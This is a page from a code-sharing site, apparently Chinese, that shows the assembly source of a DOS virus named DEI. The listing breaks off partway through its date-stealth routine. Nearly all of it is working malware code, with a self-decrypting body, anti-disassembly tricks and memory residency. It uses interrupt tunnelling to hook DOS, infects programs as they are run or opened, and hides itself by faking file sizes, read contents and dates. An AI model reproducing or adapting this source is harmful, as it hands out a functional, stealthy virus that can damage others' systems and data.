📄 dei.asm
字号:
; =======================================================================>
PING equ 0BF1h ; a worthless DOS function
PONG equ 0DEAFh ; response to residency test
code segment
org 100h
assume cs:code,ds:code
start:
jmp virus_begin ; fake host program
db 26 dup (0)
virus_begin:
db 0BBh ; mov bx,
code_offset dw 0
db 0B0h ; mov al,
cipher db 0
decrypt:
db 02Eh ; cs:
decryptor_1: xor [bx],al
inc bx
shift_1: neg al
db 81h,0FBh ; cmp bx,
code_offset_2 dw 0
jbe decrypt
viral_code:
call $ + 3 ; BP is instruction ptr.
pop bp
sub bp,offset $ - 1
push ds es ; save segregs
jmp kill_sourcer ; mess with disassemblers
db 0E9h
kill_sourcer:
xor ah,ah ; create or delete the
int 1Ah ; \DEI.COM file at random
cmp dx,0FE00h ; times ...
jb dont_drop
call drop_program
jmp dont_delete
dont_drop:
cmp dx,0800h
ja dont_delete
call delete_program
dont_delete:
mov ax,PING ; residency test
int 21h
cmp bx,PONG ; if installed,
jne not_installed ; don't install again
jmp installed
not_installed:
mov ax,es ; install ourselves
dec ax ; in memory
mov ds,ax
sub word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
sub word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1
mov ax,ds:[12h] ; doing some calculations and
mov ds,ax ; a bit of manipulation to
sub ax,15 ; memory
mov es,ax ; ES points to our destiny
mov byte ptr ds:[0],'Z'
mov word ptr ds:[1],8
mov word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
push cs ; zopy it
pop ds
mov di,100h
mov cx,virus_end - start
lea si,[bp + start]
rep movsb
xor ax,ax
mov ds,ax
sub word ptr ds:[413h],7 ; allocate memory from BIOS
mov si,21h * 4 ; saving old interrupt 21
mov di,offset old_int_21 ; first
movsw
movsw
lea dx,[bp + int_1]
mov ds:[4],dx ; recursive tunneling -
mov ds:[6],cs ; trace through interrupt 21
push es
mov ah,52h ; get list of lists
int 21h ; for segment of DOS's int 21
mov ax,es
mov cs:[bp + int_21_seg],ax
pop es
mov [bp + our_es],es
mov ax,100h ; set trap flag
push ax
popf
mov ah,0Bh ; and send us down the tunnel
pushf
call dword ptr ds:[21h * 4]
xor ax,ax ; turn off trap flag
push ax
popf
mov word ptr ds:[si - 4],0 ; little anti-trace ...
mov ds:[si - 4],offset new_int_21
mov ds:[si - 2],es ; and set new interrupt 21
installed:
pop es ds
cmp cs:[bp + exe_flag],1 ; is this an .EXE file?
je exe_exit ; if so, exit as such
com_exit:
lea si,[bp + offset host] ; restore original header
mov di,100h
push di
mov cx,28
rep movsb
call reset_regs
ret ; and leave
exe_exit:
mov ax,ds
add ax,cs:[bp + exe_cs]
mov word ptr cs:[bp + jump_to + 2],ax
mov ax,cs:[bp + exe_ip]
mov word ptr cs:[bp + jump_to],ax
mov ax,ds
add ax,cs:[bp + exe_ss] ; restore original stack
cli
mov ss,ax
mov sp,cs:[bp + exe_sp]
call reset_regs ; reset registers
db 0EAh
jump_to dd 0
reset_regs:
mov si,100h
xor ax,ax
xor bx,bx
xor di,di
xor bp,bp
ret
; int 1 handler for tunneling.
int_21_seg dw 0 ; original int 21 segment
our_es dw 0 ; our ES
int_1:
push bp ; save registers used
mov bp,sp
push ax
mov ax,[bp + 4] ; SEGMENT of next instruction
push bp
call get_dest_seg ; get location pointer
get_dest_seg:
pop bp
cmp ax,cs:[bp - (get_dest_seg - int_21_seg)]
pop bp ; restore BP
jbe tunneled ; found, we're through
push ds si ; no, check next instruction
mov ds,ax
mov si,[bp + 2] ; OFFSET of next instruction
lodsb ; next instruction in AL
cmp al,0CFh ; IRET instruction?
je set_iret ; adjust accordingly
cmp al,09Dh ; POPF instruction?
je set_popf ; adjust
jmp flag_check_done ; never mind ...
tunneled: ; we're done ... save segment
push es si
call get_our_es
get_our_es:
pop si
mov si,cs:[si - (get_our_es - our_es)]
mov es,si
mov word ptr es:[old_int_21 + 2],ax
mov ax,[bp + 2] ; and offset
mov word ptr es:[old_int_21],ax
and [bp + 6],0FEFFh ; deinstall tunnel routine
pop si es
jmp exit
set_iret:
or [bp + 10],100h ; OFFSET of second interrupt
jmp flag_check_done ; call on stack (flags)
set_popf:
or [bp + 6],100h ; OFFSET of word before
; interrupt call on stack
flag_check_done:
pop si ds
exit:
pop ax bp
iret
; int 24 handler.
; DOS changes it back automatically.
new_int_24:
mov al,3 ; simple enough
iret
; ================================================>
; int 21 handler.
; trap 11h,12h,3Dh,3Fh,4Bh,4Eh,4Fh,6Ch, and 5700h
; ================================================>
int_21:
pushf
call dword ptr cs:[old_int_21]
ret
new_int_21:
cmp ax,PING ; are we checking on ourself?
je pass_signal ; yes, give the signal
cmp ax,4B00h ; program execution?
je execute ; uh - huh
cmp ah,11h ; directory stealth method 1
je dir_stealth_1 ; (hide from DIR listing)
cmp ah,12h
je dir_stealth_1
cmp ah,4Eh ; directory stealth method 2
je dir_stealth_2 ; (hide from ASCIIZ search)
cmp ah,4Fh
je dir_stealth_2
cmp ah,3Dh ; file open method 1
jne go_on
jmp file_open
go_on:
cmp ah,6Ch ; file open method 2
jne go_on_2
jmp file_open
go_on_2:
cmp ah,3Fh ; file read
jne go_on_3
jmp file_read
go_on_3:
cmp ax,5700h ; get date
jne int_21_exit
jmp fix_date
int_21_exit:
db 0EAh ; never mind ...
old_int_21 dd 0
pass_signal:
mov bx,PONG ; pass signal
jmp int_21_exit
execute:
call check_name
jc skip_infect ; don't infect if marked
call infect_ds_dx ; simple enough ...
skip_infect:
jmp int_21_exit
dir_stealth_1:
call int_21 ; do it
test al,al ; if al = -1
js cant_find ; then don't bother
push ax bx es ; check file for infection
mov ah,2Fh
int 21h
cmp byte ptr es:[bx],-1 ; check for extended FCB
jne no_ext_FCB
add bx,7
no_ext_FCB:
mov ax,es:[bx + 19h]
cmp ah,100 ; check years -
jb fixed ; if 100+, infected
ror ah,1
sub ah,100
rol ah,1
mov es:[bx + 19h],ax
sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 28
sbb word ptr es:[bx + 1Fh],0
fixed:
pop es bx ax
cant_find:
iret
dir_stealth_2:
call int_21 ; perform file search
jnc check_file_2 ; if found, proceed
retf 2 ; nope, leave
check_file_2:
push ax bx si es
mov ah,2Fh ; find DTA
int 21h
mov ax,es:[bx + 18h]
cmp ah,100 ; check for infection marker
jb fixed_2
ror ah,1 ; fix up date
sub ah,100
rol ah,1
mov es:[bx + 18h],ax
sub word ptr es:[bx + 1Ah],VIRUS_SIZE + 28
sbb word ptr es:[bx + 1Ch],0
fixed_2:
pop es si bx ax ; done
clc
retf 2
file_open:
call try_infecting ; try to infect file
call int_21 ; open file
jc open_fail ; carry set, open failed
cmp ax,5 ; if handle is a device,
jb dont_bother ; don't bother with it
push ax bx di es
xchg ax,bx
push bx
mov ax,1220h ; get system file table
int 2Fh ; entry
nop ; anti-SCAN
mov bl,es:[di]
mov ax,1216h
int 2Fh
pop bx
call check_datestamp ; check datestamp
jb dont_stealth
cmp word ptr es:[di],1 ; if file has already
ja dont_stealth ; been opened, don't stealth
sub es:[di + 11h],VIRUS_SIZE + 28
sbb word ptr es:[di + 13h],0 ; stealth it ... change file
; size
dont_stealth:
pop es di bx ax ; restore everything
dont_bother:
clc
open_fail:
retf 2 ; and return
file_read:
cmp bx,5 ; if read from device,
jae check_it_out ; don't bother
jmp forget_it
check_it_out:
push si di es ax bx cx
push bx
mov ax,1220h ; get SFTs
int 2Fh
nop
mov bl,es:[di]
mov ax,1216h
int 2Fh
pop bx
call check_datestamp ; 100+ years
jae check_pointer ; is the magic number
jmp no_read_stealth
check_pointer:
cmp word ptr es:[di + 17h],0 ; if file pointer above 64K,
je check_pointer_2 ; then skip it
jmp no_read_stealth
check_pointer_2:
cmp word ptr es:[di + 15h],28 ; if file pointer under 28,
jae no_read_stealth ; then DON'T
push es:[di + 15h] ; save it
mov ah,3Fh
call int_21 ; do the read function
pop cx ; now find how many bytes
push ax ; (Save AX value)
sub cx,28 ; we have to change ...
neg cx ; and where
cmp ax,cx ; if more than 28 were read,
jae ok ; ok
xchg ax,cx ; otherwise, switch around
ok:
push ds cx dx
push es:[di + 15h] ; save current file pointer
push es:[di + 17h]
add es:[di + 11h],VIRUS_SIZE + 28
adc word ptr es:[di + 13h],0
mov ax,es:[di + 11h] ; fix up file size to prevent
sub ax,28 ; read past end of file
mov es:[di + 15h],ax
mov ax,es:[di + 13h]
mov es:[di + 17h],ax
push cs ; now read in real first 28
pop ds ; bytes
mov dx,offset read_buffer
mov cx,28
mov ah,3Fh
call int_21
sub es:[di + 11h],VIRUS_SIZE + 28
sbb word ptr es:[di + 13h],0
pop es:[di + 17h] ; restore file pointer
pop es:[di + 15h]
pop dx cx ds ; now we move our 28 bytes
push ds ; into theirs ...
pop es
mov di,dx
mov si,offset read_buffer
push cs
pop ds
rep movsb ; done
push es ; restore DS
pop ds
pop ax
pop cx bx es es di si
clc
retf 2
no_read_stealth:
pop cx bx ax es di si
forget_it:
jmp int_21_exit
fix_date:
call int_21 ; get date
jc an_error
cmp dh,100 ; if years > 100,
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -